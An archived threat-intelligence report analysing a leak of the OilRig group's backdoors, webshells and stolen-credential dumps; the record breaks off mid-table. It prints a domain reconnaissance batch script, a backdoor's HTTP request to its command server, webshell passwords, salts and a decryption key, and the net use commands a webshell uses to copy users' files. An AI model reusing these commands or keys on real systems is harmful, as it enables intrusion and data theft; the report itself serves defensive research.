{
	"id": "f2f767a3-01eb-4aab-a14a-de59f2c9653f",
	"created_at": "2026-04-06T00:14:43.572716Z",
	"updated_at": "2026-04-10T03:37:37.025419Z",
	"deleted_at": null,
	"sha1_hash": "dbf0bb1244d1cb2b1df3406f6bfe1f96a613d941",
	"title": "Behind the Scenes with OilRig",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 4847102,
	"plain_text": "Behind the Scenes with OilRig\r\nBy Bryan Lee, Robert Falcone\r\nPublished: 2019-04-30 · Archived: 2026-04-02 12:14:40 UTC\r\nAfter first uncovering the OilRig group in May 2016, Unit 42 has continued to monitor, observe, and track their\r\nactivities and evolution over time. Since then, OilRig has been heavily researched by the rest of the industry and\r\nhas been given additional names such as APT34 and Helix Kitten. The OilRig group is not particularly\r\nsophisticated but is extremely persistent in the pursuit of their mission objective and, unlike other some other\r\nespionage motivated adversaries, are much more willing to deviate from their existing attack methodologies and\r\nuse novel techniques to accomplish their objectives. Over time, through our research we have been able to reveal\r\nspecific details of how their attacks are executed, the tools they use, and even what their development cycle may\r\nbe like by tracking their use of VirusTotal as a detection check system. Due to the nature of the data we had access\r\nto however, our perspective was primarily from a target or victim perspective which is generally limited to the\r\nartifacts at the time of attack.\r\nRecently, a data dump was leaked and made available to the public claiming to be data in relation to OilRig\r\nactivity from the operations side. We retrieved the data dump, which included credential dumps, backdoors,\r\nwebshells, and other files of interest. Several media outlets and other researchers have since performed their own\r\nevaluation, and in our assessment, we found the artifacts contained in data dump are indeed consistent with known\r\nOilRig operations and toolsets. In addition, the data dump allowed us to retroactively compare our previous\r\nresearch with OilRig’s operational data. This allowed us to fill in previously existing gaps of OilRig’s attack life\r\ncycle in addition to validating the accuracy of our research. By analyzing the data dump, we have been able to\r\nidentify exactly how the BONDUPDATER backdoor and its server component functions, the appearance and\r\nfunctionality of several webshells in deployment by OilRig, each of these tools’ internal operational names, and a\r\nbetter understanding of how widespread the OilRig operations may actually be from a global perspective.\r\nThe organizations possibly under attack by OilRig is widely-spread across the spectrum of industry verticals,\r\nspanning from government, media, energy, transportation and logistics, and technology service providers. In total\r\nwe identified nearly 13,000 stolen credentials, over 100 deployed webshells, and roughly a dozen backdoor\r\nsessions into compromised hosts across 27 countries, 97 organizations, and 18 industries.\r\nThe information contained in this data dump include:\r\nStolen credentials\r\nPotential systems to login to using stolen credentials\r\nDeployed webshell URLs\r\nBackdoor tools\r\nCommand and control server component of backdoor tools\r\nScripts to perform DNS hijacking\r\nDocuments identifying specific individual operators\r\nScreenshots of OilRig operational systems\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 1 of 27\n\nThe Leak\r\nIn mid-March 2019, an unknown entity appeared on several hacking forums and Twitter with the user handle\r\n@Mr_L4nnist3r claiming they had access to data dumps involving internal tools and data used by the OilRig\r\ngroup. The initial claim included several screenshots of systems potentially in use by OilRig operators for attacks,\r\na script that appeared to be used for DNS hijacking, and a password protected archive with the filename\r\nGlimpse.rar purporting to contain the command and control server panel for an OilRig backdoor. Soon after, a\r\nTwitter account with the user handle @dookhtegan appeared claiming they also had access to data dumps\r\ninvolving internal tools and data used by the OilRig group, as seen in Figure 1. This account used an image from\r\n2004 of a high-profile Iranian asylum seeker named Mehdy Kavousi who famously sewed his eyes and mouth\r\nshut to signify that rejecting his asylum claim and sending him back to Iran would be akin to putting him to death.\r\nIt is unknown why this specific image was chosen, other than perhaps as a symbol of protest. Since the initial\r\naccount creation, a stylized version of the original has been substituted as the profile image, making it far more\r\ndifficult to understand who the original individual was.\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 2 of 27\n\nFigure 1. Tweets by @dookhtegan providing files associated with the OilRig leak\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 3 of 27\n\nThis account continued a series of tweets voicing protest against the OilRig group and attributing its operations\r\nwith a specific nation state and organization. Unit 42 is unable to validate this level of attribution, but a 2018\r\nreport from the United States National Counterintelligence and Security Center stated the OilRig group originates\r\nfrom an Iranian nexus. The account continued to post tweets with direct links to operational data dumps hosted on\r\nan anonymous file sharing service.\r\nThe files posted included the previously password protected archive Glimpse.rar, as well as new archives\r\ncontaining hundreds of harvested credentials from compromised organizations along with details on exposed login\r\nprompts. There were also links to webshells previously and possibly currently deployed,  the webshell source\r\ncodes, as well as another backdoor and its server component.\r\nThis account was suspended in short order, but immediately after the suspension, an alternate account with the\r\nusername @dookhtegan1 with the same stylized profile image appeared and is still currently active. This account\r\nmirrors the previous messages of exposing the OilRig group but no longer contains links to data dumps, instead\r\ninstructing those that are interested in the data to join them in a private Telegram channel. Figure 2 shows this\r\nsecond Twitter account providing a Telegram channel to leak the data.  \r\nFigure 2. Tweets by second account @dookhtegan1 providing a Telegram channel with the leaked files\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 4 of 27\n\nData Dump Contents\r\nThe contents of the data dump includes various types of datasets that appear to be results from reconnaissance\r\nactivity, initial compromises, and tools the OilRig operators use against target organizations. The affected\r\norganizations spread across the spectrum of industry verticals, spanning from government, media, energy,\r\ntransportation and logistics, and technology service providers. The datasets included:\r\nStolen credentials\r\nPotential systems to login to using stolen credentials\r\nDeployed webshell URLs\r\nBackdoor tools\r\nCommand and control server component of backdoor tools\r\nScript to perform DNS hijacking\r\nDocuments identifying specific individual operators\r\nScreenshots of OilRig operational systems\r\nWe analyzed each type of dataset other than the documents containing detailed information on alleged OilRig\r\noperators and they remain consistent with previously observed OilRig tactics, techniques, and procedures (TTPs).\r\nWhile we are unable to confirm the validity of the documents detailing individual operators simply due to a lack\r\nof visibility into that realm, we also have no reason to doubt their validity either.\r\nAn interesting artifact we found in the data dump are the OilRig threat actors’ own internal names of various tools\r\nwe have been tracking. Table 1 provides the internal operational names and the names we use to track these tools.\r\nTool Type Internal Name Industry Name\r\nBackdoor Poison Frog BONDUPDATER\r\nBackdoor Glimpse Updated BONDUPDATER\r\nWebshell HyperShell TwoFace loader\r\nWebshell HighShell TwoFace payload\r\nWebshell Minion TwoFace payload variant\r\nDNS Hijacking Toolkit webmask Related to DNSpionage\r\nTable 1. Tools exposed in the OilRig data leak with their internal names mapped to the names used by the security\r\ncommunity\r\nCredential Dumps\r\nIn our analysis, we found that a total of fifteen organizations had their credentials stolen in some fashion and\r\nstored in text files for the OilRig group to then abuse for additional attacks. In total, nearly 13,000 sets of\r\ncredentials are included in the data dump. The credentials appear to have been stolen via multiple techniques,\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 5 of 27\n\nincluding using post-exploition password recovery tools such as MimiKatz or its variant ZhuMimiKatz. In\r\naddition to these tools, we believe OilRig attackers obtained credentials through, bruteforcing, SQL injections, and\r\nusing traditional credential harvesting toolkits as we discussed in the Striking Oil blog published in September\r\n2017.\r\nIt appears to us that one organization had its entire Active Directory dumped out, making up most of the\r\ncredentials we found in the data dump.\r\nThe types of organizations listed in this data dump spread across multiple industry verticals but were all largely\r\nlocated in the Middle East region. We are unable to confirm if all of these stolen credentials are indeed valid sets\r\nof credentials, but based upon previously observed activity, timestamping, and known behaviors, it is highly\r\nprobable that these credentials were or may still be valid.  \r\nAssuming the lists of credentials are valid, the mass collection confirms our hypothesis that the OilRig group\r\nmaintains a heavy emphasis on credential based attacks along with the other types of attacks they deploy. This is\r\nconsistent with most espionage-motivated adversaries, as once the adversary gains access via legitimate\r\ncredentials, they are able to masquerade as a legitimate user and essentially become an insider threat. This type of\r\nactivity becomes significantly harder to detect compared to using custom tools as the adversary masquerades as a\r\nlegitimate user while most protections are intended to catch malware.\r\nIn our past research, based off artifacts we had gathered, we had internally postulated the OilRig group likely had\r\na propensity to immediately attempt to escalate privileges once they have their initial compromise, then try to\r\nmove laterally into the local Microsoft Exchange server where they would then able to harvest more credentials\r\nand implant additional tools such as webshells and IIS backdoors. In a presentation provided by a FireEye\r\nresearcher, they documented this exact attack lifecycle for incidents associated with OilRig in addition to be\r\ndeploying a post-exploitation toolkit called Ruler within their attack playbook as well. Ruler is an open-source\r\npenetration testing toolkit which is predicated on being able to access Outlook Web Access (OWA) or OWA via\r\nstolen credentials, then abusing built-in functions to perform a variety of actions including retrieving the Global\r\nAddress List, setting malicious email rules, and in OilRig’s case, performing remote code execution.\r\nThe specific function of Ruler the OilRig group was using is the Ruler.Homepage function. This function abuses a\r\ncapability in Microsoft Outlook which allows an administrator or a user to set a default homepage for any folder\r\ninside their inbox. Using stolen credentials, the operator would use Ruler to send commands to the target\r\norganization’s OWA instance via an RPC protocol which would then remotely set an arbitrary homepage for the\r\ncompromised inbox’s folders. The operator would then include commands in the homepage to automatically\r\nretrieve and execute malicious code. In OilRig’s case, they included commands to retrieve and execute a\r\nbackdoor, immediately giving them access to the endpoint in use by the user whose credentials had been stolen.\r\nBackdoors\r\nThe data dump included two backdoors that we had previously associated with the OilRig threat group, both of\r\nwhich we had previously referred to as BONDUPDATER. Generally speaking, we are able to retrieve the implant\r\nor payload involved in an attack but are generally blind to the server side component. This data dump provided the\r\nbackdoors and their associated server components which provides us a different perspective on how the backdoors\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 6 of 27\n\nfunction. In addition, we discovered that the backdoors are actually called Glimpse and Poison Frog internally by\r\nOilRig and are functionally two different tools.\r\nGlimpse\r\nThe Glimpse tool within the data dump is related to the updated BONDUPDATER tool that we discovered being\r\ndelivered to a Middle East government organization in a report we published on September 2018. We recently\r\nmentioned this tool in another report on April 16, as this variant of the BONDUPDATER tool used DNS tunneling\r\nto communicate with its C2, specifically using TXT queries to receive information from the C2 server.\r\nThe data dump included the following three requisite components of the Glimpse tool seen in Table 2, as well as a\r\nRead me.txt file that explains how to set up and use Glimpse.\r\nComponent Description\r\nAgent Powershell scripts meant to run on compromised systems.\r\nServer Command and control server that communicates via DNS tunneling\r\nPanel\r\nGraphical User Interface that allows actors to issue commands, upload and download files to\r\nAgents via the Server\r\nTable 2. The three components of the Glimpse tool\r\nGlimpse is a PowerShell script that contains the comment version 2.2, which suggests the OilRig group considers\r\nthis a specific version of the tool and that it likely has included prior versions.\r\nThe Glimpse panel, versioned “v1.0.5” is the tool that the actor uses to organize the various agents installed on\r\ncompromised systems. The panel allows the actors to issue commands in addition to uploading files to and\r\ndownloading files from the compromised endpoints. According to the compilation time, the developer of the\r\nGlimpse panel created this tool on September 1, 2018. Figure 3 shows the main Glimpse panel with three different\r\nagents listed in a test environment.\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 7 of 27\n\nFigure 3. The Glimpse panel showing three compromised systems\r\nTo interact with a specific agent, the actor selects the entry to open in the agent control panel. The agent control\r\npanel has three tabs that have interfaces that allow the actor to issue commands, as well as upload and download\r\nfiles to and from the agent. The command tab will show previously issued commands, when they were issued, and\r\ntheir status, as seen in Figure 4.\r\nFigure 4. Glimpse’s Agent Control Panel showing the interface actors would use to send commands\r\nThe actor clicks the command to view the results in a popup window named “Result Viewer”. Figure 5 shows the\r\nresult viewer window showing the results of the issued command.\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 8 of 27\n\nFigure 5. The Result Viewer showing the results of an issued command\r\nThe server portion of Glimpse works in unison with the panel by acting as a DNS server, which is written in\r\nJavaScript and runs in the Node.js runtime. The server has a filename of srvr.js, which according to the Read\r\nme.txt file is meant to be run using forever start srvr.js in Node.js. Figure 6 shows the Glimpse server responding\r\nto an inbound beacon from the Glimpse agent and sending a command whoami. The screenshot also shows the\r\nGlimpse server receiving the results of the whoami command executed by the agent.   \r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 9 of 27\n\nFigure 6. The Glimpse server issuing a command to an agent and receiving the results of the command\r\nPoison Frog\r\nThe second backdoor included in the data dump is named Poison Frog. The dataset includes both the agent that the\r\nactor would install on targeted systems and the server that would allow the actor to interact with compromised\r\nsystems. The Poison Frog tool appears to be a variant of BONDUPDATER used in targeted attacks in the Middle\r\nEast, as reported by FireEye in December 2017.\r\nTable 3 shows the files associated with the agent included in the data dump, of which the dUpdater.ps1 portion of\r\nPoison Frog appears to be the initial variant of BONDUPDATER that uses DNS tunneling for its C2 channel as\r\ndiscussed in our recent blog discussing OilRig’s DNS tunneling protocols. Interestingly, both of these Poison Frog\r\nagent scripts were configured to use the domain myleftheart[.]com as its C2 server though we have not seen this\r\ndomain in any attacks, and we were unable to associate it with any known OilRig infrastructure.\r\nFilename SHA256 Description\r\npoisonfrog.ps1 27e03b98ae0f6f2650f378e9292384f1350f95ee4f3ac009e0113a8d9e2e14ed Dropper that\r\ninstalls\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 10 of 27\n\nhUpdater.ps1\r\nand\r\ndUpdater.ps1\r\nhUpdater.ps1 995ea68dcf27c4a2d482b3afadbd8da546d635d72f6b458557175e0cb98dd999\r\nPoison Frog\r\nagent that\r\nuses HTTP\r\nfor C2\r\ndUpdater.ps1 0f20995d431abce885b8bd7dec1013cc1ef7c73886029c67df53101ea330436c\r\nPoison Frog\r\n agent that\r\nuses DNS\r\ntunneling for\r\nC2\r\nTable 3. Files associated with the Poison Frog agent provided in the leak\r\nLike the Glimpse C2 server, the Poison Frog server was written in JavaScript and will run in Node.js. The Poison\r\nFrog server handles both the HTTP and DNS tunneling channels used by the hUpdater.ps1 and dUpdater.ps1\r\nscripts. According to the server’s code, the default command that it would issue to newly infected systems was a\r\nbatch script contained in a file named 0000000000.bat. The data dump included the 0000000000.bat file, which\r\nwhen executed on an infected system would run the following commands to gather information to be sent back to\r\nthe C2 server:\r\nwhoami\r\nhostname\r\nipconfig /all\r\nnet user /domain\r\nnet group /domain\r\nnet group \"domain admins\" /domain\r\nnet group \"Exchange Trusted Subsystem\" /domain\r\nnet accounts /domain\r\nnet user\r\nnet localgroup administrators\r\nnetstat -an\r\ntasklist\r\nsysteminfo\r\nreg query \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\"\r\nschtasks /query /FO List /TN \"GoogleUpdatesTaskMachineUI\" /V | findstr /b /n /c:\"Repeat: Every:\"\r\nWMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName\r\n/Format:List\r\nThis batch script is also interesting as it uses echo commands to include headers before each of the command\r\nresults. The headers included in this batch script looked very familiar, as we had seen a very similar batch script\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 11 of 27\n\nprovided via the HTTP C2 channel for the Helminth backdoor delivered by a Clayslide delivery document as we\r\nreported in October 2016 (SHA256: 903b6d948c16dc92b69fe1de76cf64ab8377893770bf47c29bf91f3fd987f996).\r\nThe following HTTP request from the Helminth backdoor (SHA256:\r\n1fb69090be8a2e11eeb220b26ee5eddf1e3fe81ffa59c47d47d01bf90c2b080c) downloaded the similar batch script:\r\nGET /update-index.aspx?req=1786873725%5Cbat\u0026m=d HTTP/1.1\r\nHost: update-kernal[.]net\r\nConnection: Keep-Alive\r\nWe performed a code comparison to visualize the similarities between the batch script delivered as the default\r\ncommand in Poison Frog is to the script provided to the Helminth backdoor. Figure 7 shows just how similar these\r\ntwo batch scripts are with several of the headers being exactly the same and a majority of the commands being the\r\nsame with the Helminth commands having the 2\u003e\u00261 suffix to include command errors with the output.\r\nFigure 7. Code comparison between the default batch script issued by Poison Frog’s C2 and a batch script\r\nreceived by the Helminth Trojan\r\nWebshells\r\nThe data dump included several different webshells apparently used by OilRig to interact with compromised\r\nservers. The three webshells included in the dump had names HyperShell, HighShell, and Minion, but it appears\r\nthat Minion is likely a variant of HighShell based on code, filename, and functionality overlaps. The HyperShell\r\nand HighShell webshells are variants of what we track as TwoFace, with HyperShell being related to the TwoFace\r\nloader and HighShell being related to the TwoFace payload, as we reported in July 2017. In addition to the actual\r\nwebshells in use by OilRig, the data dump includes lists of existing deployments of webshells hosted on\r\ncompromised websites. Over 100 links to webshells are listed, spanning across 87 organizations in 26 countries\r\nacross four continents as seen in Figure 8.\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 12 of 27\n\nFigure 8. Geographic location of webshells of impacted organizations\r\nHypershell\r\nThe HyperShell webshell included in the data dump (SHA256:\r\ne483eee77fcc5ef11d5bf33a4179312753b62ec9a247dd14528cc797e7632d99) is an example of the 3DES variant\r\nof the TwoFace loader that we called TwoFace++ in as we reported in July 2017.\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 13 of 27\n\nDuring our initial research into the TwoFace++ loader, we were unable to extract the embedded payload using the\r\nsame brute forcing technique that we used on the initial TwoFace loader samples.\r\nThe initial TwoFace loader samples decrypted an embedded webshell using an actor provided key, which was\r\nmodified by using simple arithmetic operators (\"+\" or \"-\" specifically) and a salt string embedded within the\r\nloader webshell, whose result decrypts an embedded payload using simple arithmetic operators (again, \"+\" or \"-\"\r\nspecifically). We were able to brute force the actor-provided key using the inverse arithmetic operations using the\r\nembedded salt and embedded ciphertext, so we were able to extract the embedded webshells with ease.\r\nUnlike the initial TwoFace loader, the TwoFace++ loader used the 3DES cipher and a SHA256 hash of a string\r\nprovided by the actor and used as a key, so we were unable to extract the embedded webshells as we were unable\r\nto determine the actor provided key. However, the HyperShell sample in this dump provided the necessary\r\ninformation to determine the actor-provided key needed to decrypt its embedded webshell. Like many initial\r\nTwoFace loader samples, the HyperShell sample includes a string within the HTML tags \u003cpre\u003e and \u003c/pre\u003e that is\r\ndisplayed in the browser if a password is not supplied and/or the TwoFace++ loader is unable to extract the\r\nembedded payload webshell. The pre tags within the HyperShell sample are:\r\n\u003cpre\u003e\u003c%= Server.HtmlEncode(\"NxKK\u003cTjWN^lv-$*UZ|Z-H;cGL(O\u003e7a\") %\u003e\u003c/pre\u003e\r\nFigure 9 shows HyperShell displaying the content within the \"pre\" tags within the browser.\r\nFigure 9. HyperShell displaying the password within \u003cpre\u003e tags\r\nWe determined the string in the pre tags is the actor provided password, which the webshell uses as a key to\r\ndecrypt the embedded payload. We determined this by following the process in which the TwoFace++ loader\r\nwebshell uses the actor provided password to authenticate and decrypt the embedded webshell:\r\nAppend a string to the password that acts as a salt\r\nObtain the SHA1 hash of the resulting string containing the password and salt\r\nBase64 encode the SHA1 hash\r\nCompare the encoded hash with hardcoded base64 string\r\nIf the encoded hash matches hardcoded base64 string then the inbound request is authenticated\r\nGenerates the SHA256 hash of the password string\r\nBase64 encodes the SHA256 hash and uses the first 24 characters as a key\r\nUses 24-character key and the 3DES cipher to decrypt the embedded webshell\r\nNow let's look at how this works with the values in the TwoFace++ loader sample. The actor provided password\r\nof NxKK\u003cTjWN^lv-$*UZ|Z-H;cGL(O\u003e7a has the hardcoded salt string aqB2nU65TgFoEfdVqiAddBQLInc9\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 14 of 27\n\nappended to it. The resulting string of NxKK\u003cTjWN^lv-$*UZ|Z-H;cGL(O\u003e7aaqB2nU65TgFoEfdVqiAddBQLInc9 has a SHA1 hash of\r\n9d3ff106fbc3508b8453c7d6f285543d0b9c2721, which is base64 encoded to\r\nnT/xBvvDUIuEU8fW8oVUPQucJyE=. The hardcoded base64 encoded password within the sample is\r\nnT/xBvvDUIuEU8fW8oVUPQucJyE=, which confirms that the string provided in the pre tags is the password.\r\nOnce authenticated, the TwoFace++ loader uses the password to decrypt the embedded webshell. To use the\r\npassword as a key for 3DES, TwoFace++ will generate the SHA256 password of the NxKK\u003cTjWN^lv-$*UZ|Z-H;cGL(O\u003e7a string that results in a hash of\r\n11f66b55f3d24303621e5ef9565b02a576cc58bc5f8789cae96c3d400064b90e. The SHA256 hash is then base64\r\nencoded, which results in an encoded string of EfZrVfPSQwNiHl75VlsCpXbMWLxfh4nK6Ww9QABkuQ4=, of\r\nwhich the first 24 characters are used as the 3DES key. The key EfZrVfPSQwNiHl75VlsCpXbM is used as the\r\nkey for 3DES, which results in a webshell (SHA256:\r\nd2b835b102117e327fdc4905ead24d45f46e82dd5ae525e90cca0a685d307619) that matches the TwoFace payload\r\nwebshell we published in our original blog. This resulting webshell also appears to be a variant of HighShell,\r\nspecifically version v5.0.\r\nWe compared the v5.0 version of HighShell to the TwoFace payload (SHA256:\r\n54c8bfa0be1d1419bf0770d49e937b284b52df212df19551576f73653a7d061f), as they are visually extremely\r\nsimilar. Figure 10 shows the two webshells sharing the same user interface, with two notable exceptions in the\r\nHighShell webshell, specifically a version number “v5.0” and three little boxes at the bottom left used to display\r\nerror messages and the results of commands.\r\nFigure 10. Animation showing the differences between the HighShell v5.0 and TwoFace payload\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 15 of 27\n\nTo supplement the visual similarities, we performed an analysis of the code of the two webshells to identify\r\noverlaps. The two webshells share a significant amount of code with a majority of the differences being slightly\r\ndifferent variable and function names. The most notable difference is that the HighShell v5.0 webshell includes a\r\nsalt value it applies to the actor provided password that it uses for authentication. Figure 11 shows the code\r\ncomparison between the TwoFace payload on the left (SHA256:\r\n54c8bfa0be1d1419bf0770d49e937b284b52df212df19551576f73653a7d061f) and HighShell v5.0 on the right\r\n(SHA256: d2b835b102117e327fdc4905ead24d45f46e82dd5ae525e90cca0a685d307619). The code comparison\r\nspecifically shows the HighShell code including a salt variable containing di2zag7wZHTK9YR0NGq, which is\r\nnot present within the TwoFace code on the left.\r\nFigure 11. Comparison between HighShell v5.0 and TwoFace payload\r\nThe code comparison in Figure 11 also highlights how much code is shared between the two samples. We believe\r\nthe TwoFace payload is a predecessor to the HighShell v5.0 webshell, the latter of which was created during the\r\nongoing development efforts carried out by OilRig throughout their operations.\r\nHighShell\r\nThe data dump also included a webshell named HighShell, which we discovered was dropped by HyperShell as\r\ndiscussed in the previous section. The dump included many different HighShell samples, of which we have\r\nidentified at least three different versions, seen in Table 4. The increasing version numbers suggest that OilRig\r\ncontinually developed HighShell to be used in their operations.\r\nSHA256 Filename Version\r\nfe9cdef3c88f83b74512ec6400b7231d7295bda78079b116627c4bc9b7a373e0 error4.aspx v5.0\r\n22c4023c8daa57434ef79b838e601d9d72833fec363340536396fe7d08ee2017 HighShell.aspx v7.1\r\n691801e3583991a92a2ad7dfa8a85396a97acdf8a0054f3edffd94fc1ad58948 HighShellLocal.aspx 8.6.2\r\nTable 4. Three HighShell webshells within data leak that specified their version\r\nThe version numbers themselves do not appear to be consistently updated, however. For instance, the HighShell\r\nwebshell (SHA256: d2b835b102117e327fdc4905ead24d45f46e82dd5ae525e90cca0a685d307619) extracted from\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 16 of 27\n\nHyperShell in the prior section showed a version number of “v5.0”, which is obviously different than the “v5.0”\r\nHighShell with a filename of error4.aspx seen in Figure 12.\r\nFigure 12. HighShell v5.0 with a new color scheme and explorer tab\r\nFigure 12 shows a second HighShell v5.0 sample with a different color scheme used for its user interface;\r\nhowever, a majority of the functionality is the same as the other v5.0 sample extracted from HyperShell. One\r\ninteresting addition to this variant of HighShell v5.0 is the introduction of a tabular interface that includes a main\r\ntab and an explorer tab. The main tab contains the same functionality as the TwoFace payload and the other v5.0\r\nHighShell sample. The explorer tab, as seen in Figure 13 allows the actors to navigate the compromised server’s\r\nfile system.\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 17 of 27\n\nFigure 13. HighShell v5.0 explorer tab allows actor to navigate the file system\r\nThe HighShell v7.1 variant from the data dump contains similar functionality to its predecessors and continued the\r\ntabular approach but expanded even further by splitting out the main functionality across multiple tabs,\r\nspecifically “Command”, “Explorer”, “Upload”, “Download”, “Sql Server” and “Change Time”. Figure 14 shows\r\nHighShell v7.1 and its multiple tabs.  \r\nFigure 14. HighShell v7.1 spreads out the webshell by using separate tabs for the various functionality\r\nThe data dump also included an archive named ShellLocal-v8.8.5.rar that contains another HighShell variant. The\r\narchive name would suggest the HighShell variant was version v8.8.5, but the user interface suggested it was\r\nversion 8.6.2, as seen in Figure 15. This variant of HighShell shares code from its predecessors, but it appears that\r\nOilRig re-architected this webshell to include a front end user interface that interacts with a back end script via\r\nAJAX web requests. In addition to the change in architecture, this version of HighShell has an enhanced interface\r\nas well.\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 18 of 27\n\nFigure 15. HighShell v8.6.2 with updated interface\r\nThe 8.6.2 version of HighShell shares significant functionality with its predecessors, but also contains several new\r\nand interesting functionalities as well. The interesting features of this version of HighShell includes several\r\nexecutable modules, a network downloader functionality, and a spy check feature.\r\nModules\r\nHighShell 8.6.2 includes the ability to use several modules included with the webshell. The modules are PE\r\nexecutables that come prepackaged with the webshell that further extend its capabilities. Table 5 shows the\r\nmodules provided with this variant of HighShell. The webshell will use the 7za module to archive files from the\r\nExplorer tab, while the nbtscan module allows the webshell to scan the network for systems to build an IP list of\r\nsystem it can interact with. We were unable to determine how the webshell would use the remote execute module,\r\nas the webshell does not actually seem to use it.\r\nFilename SHA256 Description\r\n7za.exe dd6d7af00ef4ca89a319a230cdd094275c3a1d365807fe5b34133324bdaa0229\r\n7-Zip 17.01\r\nbeta\r\nnbt.exe c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e nbtscan 1.0.35\r\nrx.exe a6a0fbfee08367046d3d26fb4b4cf7779f7fb6eaf7e60e1d9b6bf31c5be5b63e\r\nIntelliAdmin\r\nRemote Execute\r\nv1.0\r\nTable 5. Modules included with HighShell v8.6.2\r\nSpy Check\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 19 of 27\n\nThe Spy Check functionality appears at the top right corner of the webshell as a box with a countdown timer. The\r\ntimer starts at 300 and decrements every second, suggesting that the webshell executes the Spy Check\r\nfunctionality every five minutes. The Spy Check functionality is rather interesting, as we do not know its exact\r\npurpose other than either displaying a red box with a spy icon or a green box with a heart icon. We believe this\r\nfunctionality was meant to notify the actor in the event that they were using an altered HighShell front end\r\nwebshell, possibly to avoid using the webshell if it had been detected and modified by a third-party. We are\r\nspeculating this is the intended function because the Spy Check function begins by reading the .aspx file of the\r\nHighShell front end (HighShellLocal.aspx in this case). The Spy Check then generates the SHA256 hash of the\r\nHighShell front end and compares it with a hardcoded SHA256 of\r\nf35e566e28be5b3257670be6e125eb90814b9cb27df997090cea0b7a22fbd75c to determine if the webshell had\r\nbeen modified. If the hashes do not match, the webshell will display a red box with spy icon, as seen in Figure 15,\r\nor a green box with a heart icon if it matches. All known samples display the red box with a spy icon, suggesting\r\nthat the developer of HighShell did not update this functionality during development efforts or that the samples\r\nhave been modified in some way.\r\nNetwork Downloader\r\nThe Network Downloader functionality allows the actor to quickly upload user files from remote victim systems.\r\nTo use this functionality, the actor must provide information within the \"Target Computer\" portion of the webshell,\r\nspecifically a network administrator username and password, as well as a list of IP addresses of remote systems\r\nadded in the \"Select Computer\" drop down. Before performing the network download, the webshell checks the\r\nstorage volume on the server that the webshell is running on to determine if it has more than 30 GB of free space.\r\nIf the server has less than 30 GB of free space the webshell will not perform the activity, which indicates that the\r\ndeveloper of the webshell expects a high volume of data downloaded from the victim network. The webshell will\r\niterate through the IP list and perform a series of commands for each IP, starting off with using the following\r\ncommand to connect to the remote system:\r\nnet use [IP address] /user:[domain admin username] [domain admin password] 2\u003e\u00261\r\nAfter connecting to the remote system with net use, the webshell will run the following command to obtain a list\r\nof user folders:\r\ndir /b [IP address]\\c$\\Users 2\u003e\u00261\r\nWith a list of user folders, the webshell will iterate through the list of users and enumerate all of the files in the\r\nfollowing folders:\r\n[IP address]\\c$\\Users\\[username]\\Desktop\r\n[IP address]\\c$\\Users\\[username]\\Documents\r\n[IP address]\\c$\\Users\\[username]\\Downloads\r\nThe Network Downloader function will gather all the files in these folders and use 7-Zip to compress and archive\r\nthe files. The webshell will save the archives locally to the server in the C:\\Users\\Public\\Libraries\\Recorded\\Files\r\nfolder, each with a filename with the following structure:\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 20 of 27\n\n[IP address]_c$_Users_[username]__[Desktop-Documents-Downloads]_[year]-[month]-[day]-[hours]-[minutes]-\r\n[seconds].7z\r\nIt is likely that the threat actors use this functionality to rapidly check for new files created by users on the\r\nnetwork.\r\nMinion\r\nMinion appears to be another webshell related to HighShell, as it contains similar functionality and significant\r\ncode overlap. Based on the login functionality within Minion, we believe the same entities were involved in the\r\ndevelopment of Minion and HyperShell. To use Minion, the actor must provide the username of admin and a\r\npassword to authenticate before using the webshell. To authenticate, the password has the string\r\nO%tG7Hz57kvWk35$D*)s$1l$pUpLnBw)apHR!xYZWZu7X#^w7$mCArmQMAa\u0026sRBG appended to it as a\r\nsalt value. The webshell generates the SHA256 hash of the resulting string and base64 encodes it to compare with\r\nthe hardcoded string of m6m8CCWa/u820mie8bX3HKIx1+WQkB+lbmniyXWKB+8=. The password and salt\r\nstring must result in a SHA256 hash of\r\n9ba9bc08259afeef36d2689ef1b5f71ca231d7e590901fa56e69e2c9758a07ef to properly authenticate. This is the\r\nexact same process used to authenticate/decrypt within HyperShell.\r\nMuch like HighShell version 8.6.2, Minion includes modules to extend the webshell’s functionality. Table 6 shows\r\nthe modules included with Minion, three of which are the same exact files as seen in the HighShell and Minion\r\nincluding Hobocopy and a port scanning, screenshot tool called Tardigrade.\r\nFilename SHA256 Description\r\n7za.exe dd6d7af00ef4ca89a319a230cdd094275c3a1d365807fe5b34133324bdaa0229\r\n7-Zip 17.01\r\nbeta\r\nhb.exe 